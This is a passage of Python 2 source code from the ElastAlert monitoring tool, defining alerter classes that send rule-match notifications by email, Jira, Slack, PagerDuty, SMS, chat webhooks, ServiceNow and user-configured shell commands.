datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") fullmessage['body'] = self.create_alert_body(matches) self.stomp_hostname = self.rule.get('stomp_hostname', 'localhost') self.stomp_hostport = self.rule.get('stomp_hostport', '61613') self.stomp_login = self.rule.get('stomp_login', 'admin') self.stomp_password = self.rule.get('stomp_password', '<PASSWORD>') self.stomp_destination = self.rule.get('stomp_destination', '/queue/ALERT') conn = stomp.Connection([(self.stomp_hostname, self.stomp_hostport)]) conn.start() conn.connect(self.stomp_login, self.stomp_password) conn.send(self.stomp_destination, json.dumps(fullmessage)) conn.disconnect() def get_info(self): return {'type': 'stomp'} class DebugAlerter(Alerter): """ The debug alerter uses a Python logger (by default, alerting to terminal). """ def alert(self, matches): qk = self.rule.get('query_key', None) for match in matches: if qk in match: elastalert_logger.info( 'Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field']))) else: elastalert_logger.info('Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field']))) elastalert_logger.info(unicode(BasicMatchString(self.rule, match))) def get_info(self): return {'type': 'debug'} class EmailAlerter(Alerter): """ Sends an email alert """ required_options = frozenset(['email']) def __init__(self, *args): super(EmailAlerter, self).__init__(*args) self.smtp_host = self.rule.get('smtp_host', 'localhost') self.smtp_ssl = self.rule.get('smtp_ssl', False) self.from_addr = self.rule.get('from_addr', 'ElastAlert') self.smtp_port = self.rule.get('smtp_port') if self.rule.get('smtp_auth_file'): self.get_account(self.rule['smtp_auth_file']) self.smtp_key_file = self.rule.get('smtp_key_file') self.smtp_cert_file = self.rule.get('smtp_cert_file') # Convert email to a list if it isn't already if isinstance(self.rule['email'], basestring): self.rule['email'] = [self.rule['email']] # If there is a cc then also convert it a list if it isn't cc = self.rule.get('cc') if cc and isinstance(cc, basestring): self.rule['cc'] = [self.rule['cc']] # If there is a bcc then also convert it to a list if it isn't bcc = self.rule.get('bcc') if bcc and isinstance(bcc, basestring): self.rule['bcc'] = [self.rule['bcc']] add_suffix = self.rule.get('email_add_domain') if add_suffix and not add_suffix.startswith('@'): self.rule['email_add_domain'] = '@' + add_suffix def alert(self, matches): body = self.create_alert_body(matches) # Add JIRA ticket if it exists if self.pipeline is not None and 'jira_ticket' in self.pipeline: url = '%s/browse/%s' % (self.pipeline['jira_server'], self.pipeline['jira_ticket']) body += '\nJIRA ticket: %s' % (url) to_addr = self.rule['email'] if 'email_from_field' in self.rule: recipient = lookup_es_key(matches[0], self.rule['email_from_field']) if isinstance(recipient, basestring): if '@' in recipient: to_addr = [recipient] elif 'email_add_domain' in self.rule: to_addr = [recipient + self.rule['email_add_domain']] elif isinstance(recipient, list): to_addr = recipient if 'email_add_domain' in self.rule: to_addr = [name + self.rule['email_add_domain'] for name in to_addr] email_msg = MIMEText(body.encode('UTF-8'), _charset='UTF-8') email_msg['Subject'] = self.create_title(matches) email_msg['To'] = ', '.join(to_addr) email_msg['From'] = self.from_addr email_msg['Reply-To'] = self.rule.get('email_reply_to', email_msg['To']) email_msg['Date'] = formatdate() if self.rule.get('cc'): email_msg['CC'] = ','.join(self.rule['cc']) to_addr = to_addr + self.rule['cc'] if self.rule.get('bcc'): to_addr = to_addr + self.rule['bcc'] try: if self.smtp_ssl: if self.smtp_port: self.smtp = SMTP_SSL(self.smtp_host, self.smtp_port, keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) else: self.smtp = SMTP_SSL(self.smtp_host, keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) else: if self.smtp_port: self.smtp = SMTP(self.smtp_host, self.smtp_port) else: self.smtp = SMTP(self.smtp_host) self.smtp.ehlo() if self.smtp.has_extn('STARTTLS'): self.smtp.starttls(keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) if 'smtp_auth_file' in self.rule: self.smtp.login(self.user, self.password) except (SMTPException, error) as e: raise EAException("Error connecting to SMTP host: %s" % (e)) except SMTPAuthenticationError as e: raise EAException("SMTP username/password rejected: %s" % (e)) self.smtp.sendmail(self.from_addr, to_addr, email_msg.as_string()) self.smtp.close() elastalert_logger.info("Sent email to %s" % (to_addr)) def create_default_title(self, matches): subject = 'ElastAlert: %s' % (self.rule['name']) # If the rule has a query_key, add that value plus timestamp to subject if 'query_key' in self.rule: qk = matches[0].get(self.rule['query_key']) if qk: subject += ' - %s' % (qk) return subject def get_info(self): return {'type': 'email', 'recipients': self.rule['email']} class JiraAlerter(Alerter): """ Creates a Jira ticket for each alert """ required_options = frozenset(['jira_server', 'jira_account_file', 'jira_project', 'jira_issuetype']) # Maintain a static set of built-in fields that we explicitly know how to set # For anything else, we will do best-effort and try to set a string value known_field_list = [ 'jira_account_file', 'jira_assignee', 'jira_bump_after_inactivity', 'jira_bump_in_statuses', 'jira_bump_not_in_statuses', 'jira_bump_tickets', 'jira_component', 'jira_components', 'jira_description', 'jira_ignore_in_title', 'jira_issuetype', 'jira_label', 'jira_labels', 'jira_max_age', 'jira_priority', 'jira_project', 'jira_server', 'jira_watchers', ] # Some built-in jira types that can be used as custom fields require special handling # Here is a sample of one of them: # {"id":"customfield_12807","name":"My Custom Field","custom":true,"orderable":true,"navigable":true,"searchable":true, # "clauseNames":["cf[12807]","My Custom Field"],"schema":{"type":"array","items":"string", # "custom":"com.atlassian.jira.plugin.system.customfieldtypes:multiselect","customId":12807}} # There are likely others that will need to be updated on a case-by-case basis custom_string_types_with_special_handling = [ 'com.atlassian.jira.plugin.system.customfieldtypes:multicheckboxes', 'com.atlassian.jira.plugin.system.customfieldtypes:multiselect', 'com.atlassian.jira.plugin.system.customfieldtypes:radiobuttons', ] def __init__(self, rule): super(JiraAlerter, self).__init__(rule) self.server = self.rule['jira_server'] self.get_account(self.rule['jira_account_file']) self.project = self.rule['jira_project'] self.issue_type = self.rule['jira_issuetype'] # We used to support only a single component. This allows us to maintain backwards compatibility # while also giving the user-facing API a more representative name self.components = self.rule.get('jira_components', self.rule.get('jira_component')) # We used to support only a single label. This allows us to maintain backwards compatibility # while also giving the user-facing API a more representative name self.labels = self.rule.get('jira_labels', self.rule.get('jira_label')) self.description = self.rule.get('jira_description', '') self.assignee = self.rule.get('jira_assignee') self.max_age = self.rule.get('jira_max_age', 30) self.priority = self.rule.get('jira_priority') self.bump_tickets = self.rule.get('jira_bump_tickets', False) self.bump_not_in_statuses = self.rule.get('jira_bump_not_in_statuses') self.bump_in_statuses = self.rule.get('jira_bump_in_statuses') self.bump_after_inactivity = self.rule.get('jira_bump_after_inactivity', self.max_age) self.watchers = self.rule.get('jira_watchers') if self.bump_in_statuses and self.bump_not_in_statuses: msg = 'Both jira_bump_in_statuses (%s) and jira_bump_not_in_statuses (%s) are set.' % \ (','.join(self.bump_in_statuses), ','.join(self.bump_not_in_statuses)) intersection = list(set(self.bump_in_statuses) & set(self.bump_in_statuses)) if intersection: msg = '%s Both have common statuses of (%s). As such, no tickets will ever be found.' % ( msg, ','.join(intersection)) msg += ' This should be simplified to use only one or the other.' logging.warning(msg) self.jira_args = {'project': {'key': self.project}, 'issuetype': {'name': self.issue_type}} if self.components: # Support single component or list if type(self.components) != list: self.jira_args['components'] = [{'name': self.components}] else: self.jira_args['components'] = [{'name': component} for component in self.components] if self.labels: # Support single label or list if type(self.labels) != list: self.labels = [self.labels] self.jira_args['labels'] = self.labels if self.watchers: # Support single watcher or list if type(self.watchers) != list: self.watchers = [self.watchers] if self.assignee: self.jira_args['assignee'] = {'name': self.assignee} try: self.client = JIRA(self.server, basic_auth=(self.user, self.password)) self.get_priorities() self.get_arbitrary_fields() except JIRAError as e: # JIRAError may contain HTML, pass along only first 1024 chars raise EAException("Error connecting to JIRA: %s" % (str(e)[:1024])) try: if self.priority is not None: self.jira_args['priority'] = {'id': self.priority_ids[self.priority]} except KeyError: logging.error("Priority %s not found. Valid priorities are %s" % (self.priority, self.priority_ids.keys())) def get_arbitrary_fields(self): # This API returns metadata about all the fields defined on the jira server (built-ins and custom ones) fields = self.client.fields() for jira_field, value in self.rule.iteritems(): # If we find a field that is not covered by the set that we are aware of, it means it is either: # 1. A built-in supported field in JIRA that we don't have on our radar # 2. A custom field that a JIRA admin has configured if jira_field.startswith('jira_') and jira_field not in self.known_field_list: # Remove the jira_ part. Convert underscores to spaces normalized_jira_field = jira_field[5:].replace('_', ' ').lower() # All jira fields should be found in the 'id' or the 'name' field. Therefore, try both just in case for identifier in ['name', 'id']: field = next((f for f in fields if normalized_jira_field == f[identifier].replace('_', ' ').lower()), None) if field: break if not field: # Log a warning to ElastAlert saying that we couldn't find that type? # OR raise and fail to load the alert entirely? Probably the latter... raise Exception("Could not find a definition for the jira field '{0}'".format(normalized_jira_field)) arg_name = field['id'] # Check the schema information to decide how to set the value correctly # If the schema information is not available, raise an exception since we don't know how to set it # Note this is only the case for two built-in types, id: issuekey and id: thumbnail if not ('schema' in field or 'type' in field['schema']): raise Exception("Could not determine schema information for the jira field '{0}'".format(normalized_jira_field)) arg_type = field['schema']['type'] # Handle arrays of simple types like strings or numbers if arg_type == 'array': # As a convenience, support the scenario wherein the user only provides # a single value for a multi-value field e.g. jira_labels: Only_One_Label if type(value) != list: value = [value] array_items = field['schema']['items'] # Simple string types if array_items in ['string', 'date', 'datetime']: # Special case for multi-select custom types (the JIRA metadata says that these are strings, but # in reality, they are required to be provided as an object. if 'custom' in field['schema'] and field['schema']['custom'] in self.custom_string_types_with_special_handling: self.jira_args[arg_name] = [{'value': v} for v in value] else: self.jira_args[arg_name] = value elif array_items == 'number': self.jira_args[arg_name] = [int(v) for v in value] # Also attempt to handle arrays of complex types that have to be passed as objects with an identifier 'key' elif array_items == 'option': self.jira_args[arg_name] = [{'value': v} for v in value] else: # Try setting it as an object, using 'name' as the key # This may not work, as the key might actually be 'key', 'id', 'value', or something else # If it works, great! If not, it will manifest itself as an API error that will bubble up self.jira_args[arg_name] = [{'name': v} for v in value] # Handle non-array types else: # Simple string types if arg_type in ['string', 'date', 'datetime']: # Special case for custom types (the JIRA metadata says that these are strings, but # in reality, they are required to be provided as an object. if 'custom' in field['schema'] and field['schema']['custom'] in self.custom_string_types_with_special_handling: self.jira_args[arg_name] = {'value': value} else: self.jira_args[arg_name] = value # Number type elif arg_type == 'number': self.jira_args[arg_name] = int(value) elif arg_type == 'option': self.jira_args[arg_name] = {'value': value} # Complex type else: self.jira_args[arg_name] = {'name': value} def get_priorities(self): """ Creates a mapping of priority index to id. """ priorities = self.client.priorities() self.priority_ids = {} for x in range(len(priorities)): self.priority_ids[x] = priorities[x].id def set_assignee(self, assignee): self.assignee = assignee if assignee: self.jira_args['assignee'] = {'name': assignee} elif 'assignee' in self.jira_args: self.jira_args.pop('assignee') def find_existing_ticket(self, matches): # Default title, get stripped search version if 'alert_subject' not in self.rule: title = self.create_default_title(matches, True) else: title = self.create_title(matches) if 'jira_ignore_in_title' in self.rule: title = title.replace(matches[0].get(self.rule['jira_ignore_in_title'], ''), '') # This is necessary for search to work. Other special characters and dashes # directly adjacent to words appear to be ok title = title.replace(' - ', ' ') title = title.replace('\\', '\\\\') date = (datetime.datetime.now() - datetime.timedelta(days=self.max_age)).strftime('%Y-%m-%d') jql = 'project=%s AND summary~"%s" and created >= "%s"' % (self.project, title, date) if self.bump_in_statuses: jql = '%s and status in (%s)' % (jql, ','.join(self.bump_in_statuses)) if self.bump_not_in_statuses: jql = '%s and status not in (%s)' % (jql, ','.join(self.bump_not_in_statuses)) try: issues = self.client.search_issues(jql) except JIRAError as e: logging.exception("Error while searching for JIRA ticket using jql '%s': %s" % (jql, e)) return None if len(issues): return issues[0] def comment_on_ticket(self, ticket, match): text = unicode(JiraFormattedMatchString(self.rule, match)) timestamp = pretty_ts(lookup_es_key(match, self.rule['timestamp_field'])) comment = "This alert was triggered again at %s\n%s" % (timestamp, text) self.client.add_comment(ticket, comment) def alert(self, matches): title = self.create_title(matches) if self.bump_tickets: ticket = self.find_existing_ticket(matches) if ticket: inactivity_datetime = ts_now() - datetime.timedelta(days=self.bump_after_inactivity) if ts_to_dt(ticket.fields.updated) >= inactivity_datetime: if self.pipeline is not None: self.pipeline['jira_ticket'] = None self.pipeline['jira_server'] = self.server return None elastalert_logger.info('Commenting on existing ticket %s' % (ticket.key)) for match in matches: try: self.comment_on_ticket(ticket, match) except JIRAError as e: logging.exception("Error while commenting on ticket %s: %s" % (ticket, e)) if self.pipeline is not None: self.pipeline['jira_ticket'] = ticket self.pipeline['jira_server'] = self.server return None self.jira_args['summary'] = title self.jira_args['description'] = self.create_alert_body(matches) try: self.issue = self.client.create_issue(**self.jira_args) # You can not add watchers on initial creation. Only as a follow-up action if self.watchers: for watcher in self.watchers: try: self.client.add_watcher(self.issue.key, watcher) except Exception as ex: # Re-raise the exception, preserve the stack-trace, and give some # context as to which watcher failed to be added raise Exception( "Exception encountered when trying to add '{0}' as a watcher. Does the user exist?\n{1}" .format( watcher, ex )), None, sys.exc_info()[2] except JIRAError as e: raise EAException("Error creating JIRA ticket using jira_args (%s): %s" % (self.jira_args, e)) elastalert_logger.info("Opened Jira ticket: %s" % (self.issue)) if self.pipeline is not None: self.pipeline['jira_ticket'] = self.issue self.pipeline['jira_server'] = self.server def create_alert_body(self, matches): body = self.description + '\n' body += self.get_aggregation_summary_text(matches) for match in matches: body += unicode(JiraFormattedMatchString(self.rule, match)) if len(matches) > 1: body += '\n----------------------------------------\n' return body def get_aggregation_summary_text(self, matches): text = super(JiraAlerter, self).get_aggregation_summary_text(matches) if text: text = u'{{noformat}}{0}{{noformat}}'.format(text) return text def create_default_title(self, matches, for_search=False): # If there is a query_key, use that in the title if 'query_key' in self.rule and lookup_es_key(matches[0], self.rule['query_key']): title = 'ElastAlert: %s matched %s' % (lookup_es_key(matches[0], self.rule['query_key']), self.rule['name']) else: title = 'ElastAlert: %s' % (self.rule['name']) if for_search: return title title += ' - %s' % (pretty_ts(matches[0][self.rule['timestamp_field']], self.rule.get('use_local_time'))) # Add count for spikes count = matches[0].get('spike_count') if count: title += ' - %s+ events' % (count) return title def get_info(self): return {'type': 'jira'} class CommandAlerter(Alerter): required_options = set(['command']) def __init__(self, *args): super(CommandAlerter, self).__init__(*args) self.last_command = [] self.shell = False if isinstance(self.rule['command'], basestring): self.shell = True if '%' in self.rule['command']: logging.warning('Warning! You could be vulnerable to shell injection!') self.rule['command'] = [self.rule['command']] self.new_style_string_format = False if 'new_style_string_format' in self.rule and self.rule['new_style_string_format']: self.new_style_string_format = True def alert(self, matches): # Format the command and arguments try: if self.new_style_string_format: command = [command_arg.format(match=matches[0]) for command_arg in self.rule['command']] else: command = [command_arg % matches[0] for command_arg in self.rule['command']] self.last_command = command except KeyError as e: raise EAException("Error formatting command: %s" % (e)) # Run command and pipe data try: subp = subprocess.Popen(command, stdin=subprocess.PIPE, shell=self.shell) if self.rule.get('pipe_match_json'): match_json = json.dumps(matches, cls=DateTimeEncoder) + '\n' stdout, stderr = subp.communicate(input=match_json) if self.rule.get("fail_on_non_zero_exit", False) and subp.wait(): raise EAException("Non-zero exit code while running command %s" % (' '.join(command))) except OSError as e: raise EAException("Error while running command %s: %s" % (' '.join(command), e)) def get_info(self): return {'type': 'command', 'command': ' '.join(self.last_command)} class SnsAlerter(Alerter): """ Send alert using AWS SNS service """ required_options = frozenset(['sns_topic_arn']) def __init__(self, *args): super(SnsAlerter, self).__init__(*args) self.sns_topic_arn = self.rule.get('sns_topic_arn', '') self.aws_access_key_id = self.rule.get('aws_access_key_id') self.aws_secret_access_key = self.rule.get('aws_secret_access_key') self.aws_region = self.rule.get('aws_region', 'us-east-1') self.profile = self.rule.get('boto_profile', None) # Deprecated self.profile = self.rule.get('aws_profile', None) def create_default_title(self, matches): subject = 'ElastAlert: %s' % (self.rule['name']) return subject def alert(self, matches): body = self.create_alert_body(matches) session = boto3.Session( aws_access_key_id=self.aws_access_key_id, aws_secret_access_key=self.aws_secret_access_key, region_name=self.aws_region, profile_name=self.profile ) sns_client = session.client('sns') sns_client.publish( TopicArn=self.sns_topic_arn, Message=body, Subject=self.create_title(matches) ) elastalert_logger.info("Sent sns notification to %s" % (self.sns_topic_arn)) class HipChatAlerter(Alerter): """ Creates a HipChat room notification for each alert """ required_options = frozenset(['hipchat_auth_token', 'hipchat_room_id']) def __init__(self, rule): super(HipChatAlerter, self).__init__(rule) self.hipchat_msg_color = self.rule.get('hipchat_msg_color', 'red') self.hipchat_message_format = self.rule.get('hipchat_message_format', 'html') self.hipchat_auth_token = self.rule['hipchat_auth_token'] self.hipchat_room_id = self.rule['hipchat_room_id'] self.hipchat_domain = self.rule.get('hipchat_domain', 'api.hipchat.com') self.hipchat_ignore_ssl_errors = self.rule.get('hipchat_ignore_ssl_errors', False) self.hipchat_notify = self.rule.get('hipchat_notify', True) self.hipchat_from = self.rule.get('hipchat_from', '') self.url = 'https://%s/v2/room/%s/notification?auth_token=%s' % ( self.hipchat_domain, self.hipchat_room_id, self.hipchat_auth_token) self.hipchat_proxy = self.rule.get('hipchat_proxy', None) def alert(self, matches): body = self.create_alert_body(matches) # HipChat sends 400 bad request on messages longer than 10000 characters if (len(body) > 9999): body = body[:9980] + '..(truncated)' # Use appropriate line ending for text/html if self.hipchat_message_format == 'html': body = body.replace('\n', '<br />') # Post to HipChat headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.hipchat_proxy} if self.hipchat_proxy else None payload = { 'color': self.hipchat_msg_color, 'message': body, 'message_format': self.hipchat_message_format, 'notify': self.hipchat_notify, 'from': self.hipchat_from } try: if self.hipchat_ignore_ssl_errors: requests.packages.urllib3.disable_warnings() response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, verify=not self.hipchat_ignore_ssl_errors, proxies=proxies) warnings.resetwarnings() response.raise_for_status() except RequestException as e: raise EAException("Error posting to HipChat: %s" % e) elastalert_logger.info("Alert sent to HipChat room %s" % self.hipchat_room_id) def get_info(self): return {'type': 'hipchat', 'hipchat_room_id': self.hipchat_room_id} class MsTeamsAlerter(Alerter): """ Creates a Microsoft Teams Conversation Message for each alert """ required_options = frozenset(['ms_teams_webhook_url', 'ms_teams_alert_summary']) def __init__(self, rule): super(MsTeamsAlerter, self).__init__(rule) self.ms_teams_webhook_url = self.rule['ms_teams_webhook_url'] if isinstance(self.ms_teams_webhook_url, basestring): self.ms_teams_webhook_url = [self.ms_teams_webhook_url] self.ms_teams_proxy = self.rule.get('ms_teams_proxy', None) self.ms_teams_alert_summary = self.rule.get('ms_teams_alert_summary', 'ElastAlert Message') self.ms_teams_alert_fixed_width = self.rule.get('ms_teams_alert_fixed_width', False) self.ms_teams_theme_color = self.rule.get('ms_teams_theme_color', '') def format_body(self, body): body = body.encode('UTF-8') if self.ms_teams_alert_fixed_width: body = body.replace('`', "'") body = "```{0}```".format('```\n\n```'.join(x for x in body.split('\n'))).replace('\n``````', '') return body def alert(self, matches): body = self.create_alert_body(matches) body = self.format_body(body) # post to Teams headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.ms_teams_proxy} if self.ms_teams_proxy else None payload = { '@type': 'MessageCard', '@context': 'http://schema.org/extensions', 'summary': self.ms_teams_alert_summary, 'title': self.create_title(matches), 'text': body } if self.ms_teams_theme_color != '': payload['themeColor'] = self.ms_teams_theme_color for url in self.ms_teams_webhook_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to ms teams: %s" % e) elastalert_logger.info("Alert sent to MS Teams") def get_info(self): return {'type': 'ms_teams', 'ms_teams_webhook_url': self.ms_teams_webhook_url} class SlackAlerter(Alerter): """ Creates a Slack room message for each alert """ required_options = frozenset(['slack_webhook_url']) def __init__(self, rule): super(SlackAlerter, self).__init__(rule) self.slack_webhook_url = self.rule['slack_webhook_url'] if isinstance(self.slack_webhook_url, basestring): self.slack_webhook_url = [self.slack_webhook_url] self.slack_proxy = self.rule.get('slack_proxy', None) self.slack_username_override = self.rule.get('slack_username_override', 'elastalert') self.slack_channel_override = self.rule.get('slack_channel_override', '') self.slack_emoji_override = self.rule.get('slack_emoji_override', ':ghost:') self.slack_icon_url_override = self.rule.get('slack_icon_url_override', '') self.slack_msg_color = self.rule.get('slack_msg_color', 'danger') self.slack_parse_override = self.rule.get('slack_parse_override', 'none') self.slack_text_string = self.rule.get('slack_text_string', '') def format_body(self, body): # https://api.slack.com/docs/formatting body = body.encode('UTF-8') body = body.replace('&', '&') body = body.replace('<', '<') body = body.replace('>', '>') return body def alert(self, matches): body = self.create_alert_body(matches) body = self.format_body(body) # post to slack headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.slack_proxy} if self.slack_proxy else None payload = { 'username': self.slack_username_override, 'channel': self.slack_channel_override, 'parse': self.slack_parse_override, 'text': self.slack_text_string, 'attachments': [ { 'color': self.slack_msg_color, 'title': self.create_title(matches), 'text': body, 'mrkdwn_in': ['text', 'pretext'], 'fields': [] } ] } if self.slack_icon_url_override != '': payload['icon_url'] = self.slack_icon_url_override else: payload['icon_emoji'] = self.slack_emoji_override for url in self.slack_webhook_url: try: response = requests.post(url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to slack: %s" % e) elastalert_logger.info("Alert sent to Slack") def get_info(self): return {'type': 'slack', 'slack_username_override': self.slack_username_override, 'slack_webhook_url': self.slack_webhook_url} class PagerDutyAlerter(Alerter): """ Create an incident on PagerDuty for each alert """ required_options = frozenset(['pagerduty_service_key', 'pagerduty_client_name']) def __init__(self, rule): super(PagerDutyAlerter, self).__init__(rule) self.pagerduty_service_key = self.rule['pagerduty_service_key'] self.pagerduty_client_name = self.rule['pagerduty_client_name'] self.pagerduty_incident_key = self.rule.get('pagerduty_incident_key', '') self.pagerduty_incident_key_args = self.rule.get('pagerduty_incident_key_args', None) self.pagerduty_proxy = self.rule.get('pagerduty_proxy', None) self.url = 'https://events.pagerduty.com/generic/2010-04-15/create_event.json' def alert(self, matches): body = self.create_alert_body(matches) # post to pagerduty headers = {'content-type': 'application/json'} payload = { 'service_key': self.pagerduty_service_key, 'description': self.create_title(matches), 'event_type': 'trigger', 'incident_key': self.get_incident_key(matches), 'client': self.pagerduty_client_name, 'details': { "information": body.encode('UTF-8'), }, } # set https proxy, if it was provided proxies = {'https': self.pagerduty_proxy} if self.pagerduty_proxy else None try: response = requests.post( self.url, data=json.dumps(payload, cls=DateTimeEncoder, ensure_ascii=False), headers=headers, proxies=proxies ) response.raise_for_status() except RequestException as e: raise EAException("Error posting to pagerduty: %s" % e) elastalert_logger.info("Trigger sent to PagerDuty") def get_incident_key(self, matches): if self.pagerduty_incident_key_args: incident_key_values = [lookup_es_key(matches[0], arg) for arg in self.pagerduty_incident_key_args] # Populate values with rule level properties too for i in range(len(incident_key_values)): if incident_key_values[i] is None: key_value = self.rule.get(self.pagerduty_incident_key_args[i]) if key_value: incident_key_values[i] = key_value incident_key_values = ['<MISSING VALUE>' if val is None else val for val in incident_key_values] return self.pagerduty_incident_key.format(*incident_key_values) else: return self.pagerduty_incident_key def get_info(self): return {'type': 'pagerduty', 'pagerduty_client_name': self.pagerduty_client_name} class ExotelAlerter(Alerter): required_options = frozenset(['exotel_account_sid', 'exotel_auth_token', 'exotel_to_number', 'exotel_from_number']) def __init__(self, rule): super(ExotelAlerter, self).__init__(rule) self.exotel_account_sid = self.rule['exotel_account_sid'] self.exotel_auth_token = self.rule['exotel_auth_token'] self.exotel_to_number = self.rule['exotel_to_number'] self.exotel_from_number = self.rule['exotel_from_number'] self.sms_body = self.rule.get('exotel_message_body', '') def alert(self, matches): client = Exotel(self.exotel_account_sid, self.exotel_auth_token) try: message_body = self.rule['name'] + self.sms_body response = client.sms(self.rule['exotel_from_number'], self.rule['exotel_to_number'], message_body) if response != 200: raise EAException("Error posting to Exotel, response code is %s" % response) except: raise EAException("Error posting to Exotel"), None, sys.exc_info()[2] elastalert_logger.info("Trigger sent to Exotel") def get_info(self): return {'type': 'exotel', 'exotel_account': self.exotel_account_sid} class TwilioAlerter(Alerter): required_options = frozenset(['twilio_account_sid', 'twilio_auth_token', 'twilio_to_number', 'twilio_from_number']) def __init__(self, rule): super(TwilioAlerter, self).__init__(rule) self.twilio_account_sid = self.rule['twilio_account_sid'] self.twilio_auth_token = self.rule['twilio_auth_token'] self.twilio_to_number = self.rule['twilio_to_number'] self.twilio_from_number = self.rule['twilio_from_number'] def alert(self, matches): client = TwilioClient(self.twilio_account_sid, self.twilio_auth_token) try: client.messages.create(body=self.rule['name'], to=self.twilio_to_number, from_=self.twilio_from_number) except TwilioRestException as e: raise EAException("Error posting to twilio: %s" % e) elastalert_logger.info("Trigger sent to Twilio") def get_info(self): return {'type': 'twilio', 'twilio_client_name': self.twilio_from_number} class VictorOpsAlerter(Alerter): """ Creates a VictorOps Incident for each alert """ required_options = frozenset(['victorops_api_key', 'victorops_routing_key', 'victorops_message_type']) def __init__(self, rule): super(VictorOpsAlerter, self).__init__(rule) self.victorops_api_key = self.rule['victorops_api_key'] self.victorops_routing_key = self.rule['victorops_routing_key'] self.victorops_message_type = self.rule['victorops_message_type'] self.victorops_entity_display_name = self.rule.get('victorops_entity_display_name', 'no entity display name') self.url = 'https://alert.victorops.com/integrations/generic/20131114/alert/%s/%s' % ( self.victorops_api_key, self.victorops_routing_key) self.victorops_proxy = self.rule.get('victorops_proxy', None) def alert(self, matches): body = self.create_alert_body(matches) # post to victorops headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.victorops_proxy} if self.victorops_proxy else None payload = { "message_type": self.victorops_message_type, "entity_display_name": self.victorops_entity_display_name, "monitoring_tool": "ElastAlert", "state_message": body } try: response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to VictorOps: %s" % e) elastalert_logger.info("Trigger sent to VictorOps") def get_info(self): return {'type': 'victorops', 'victorops_routing_key': self.victorops_routing_key} class TelegramAlerter(Alerter): """ Send a Telegram message via bot api for each alert """ required_options = frozenset(['telegram_bot_token', 'telegram_room_id']) def __init__(self, rule): super(TelegramAlerter, self).__init__(rule) self.telegram_bot_token = self.rule['telegram_bot_token'] self.telegram_room_id = self.rule['telegram_room_id'] self.telegram_api_url = self.rule.get('telegram_api_url', 'api.telegram.org') self.url = 'https://%s/bot%s/%s' % (self.telegram_api_url, self.telegram_bot_token, "sendMessage") self.telegram_proxy = self.rule.get('telegram_proxy', None) def alert(self, matches): body = u'⚠ *%s* ⚠ ```\n' % (self.create_title(matches)) for match in matches: body += unicode(BasicMatchString(self.rule, match)) # Separate text of aggregated alerts with dashes if len(matches) > 1: body += '\n----------------------------------------\n' body += u' ```' headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.telegram_proxy} if self.telegram_proxy else None payload = { 'chat_id': self.telegram_room_id, 'text': body, 'parse_mode': 'markdown', 'disable_web_page_preview': True } try: response = requests.post(self.url, data=json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) warnings.resetwarnings() response.raise_for_status() except RequestException as e: raise EAException("Error posting to Telegram: %s" % e) elastalert_logger.info( "Alert sent to Telegram room %s" % self.telegram_room_id) def get_info(self): return {'type': 'telegram', 'telegram_room_id': self.telegram_room_id} class GitterAlerter(Alerter): """ Creates a Gitter activity message for each alert """ required_options = frozenset(['gitter_webhook_url']) def __init__(self, rule): super(GitterAlerter, self).__init__(rule) self.gitter_webhook_url = self.rule['gitter_webhook_url'] self.gitter_proxy = self.rule.get('gitter_proxy', None) self.gitter_msg_level = self.rule.get('gitter_msg_level', 'error') def alert(self, matches): body = self.create_alert_body(matches) # post to Gitter headers = {'content-type': 'application/json'} # set https proxy, if it was provided proxies = {'https': self.gitter_proxy} if self.gitter_proxy else None payload = { 'message': body, 'level': self.gitter_msg_level } try: response = requests.post(self.gitter_webhook_url, json.dumps(payload, cls=DateTimeEncoder), headers=headers, proxies=proxies) response.raise_for_status() except RequestException as e: raise EAException("Error posting to Gitter: %s" % e) elastalert_logger.info("Alert sent to Gitter") def get_info(self): return {'type': 'gitter', 'gitter_webhook_url': self.gitter_webhook_url} class ServiceNowAlerter(Alerter): """ Creates a ServiceNow alert """ required_options = set([ 'username', 'password', 'servicenow_rest_url', 'short_description', 'comments', 'assignment_group', 'category', 'subcategory', 'cmdb_ci', 'caller_id' ]) def __init__(self, rule): super(ServiceNowAlerter, self).__init__(rule) self.servicenow_rest_url = self.rule['servicenow_rest_url'] self.servicenow_proxy = self.rule.get('servicenow_proxy', None) def alert(self, matches): for match in matches: # Parse everything into description. description = str(BasicMatchString(self.rule, match)) # Set proper headers headers = { "Content-Type": "application/json", "Accept": "application/json;charset=utf-8" } proxies = {'https': self.servicenow_proxy} if self.servicenow_proxy else None payload = { "description": description, "short_description": self.rule['short_description'], "comments": self.rule['comments'], "assignment_group": self.rule['assignment_group'], "category": self.rule['category'], "subcategory": self.rule['subcategory'], "cmdb_ci": self.rule['cmdb_ci'], "caller_id": self.rule["caller_id"] } try: response = requests.post( self.servicenow_rest_url, auth=(self.rule['username'], self.rule['password']), headers=headers, data=json.dumps(payload, cls=DateTimeEncoder), proxies=proxies ) response.raise_for_status() except RequestException as e: raise EAException("Error posting to ServiceNow: %s" % e) elastalert_logger.info("Alert sent to ServiceNow") def get_info(self): return {'type': 'ServiceNow', 'self.servicenow_rest_url': self.servicenow_rest_url} class HTTPPostAlerter(Alerter): """ Requested elasticsearch indices are sent by HTTP POST. Encoded with JSON. """ def __init__(self, rule): super(HTTPPostAlerter, self).__init__(rule) post_url = self.rule.get('http_post_url') if isinstance(post_url, basestring): post_url = [post_url] self.post_url = post_url 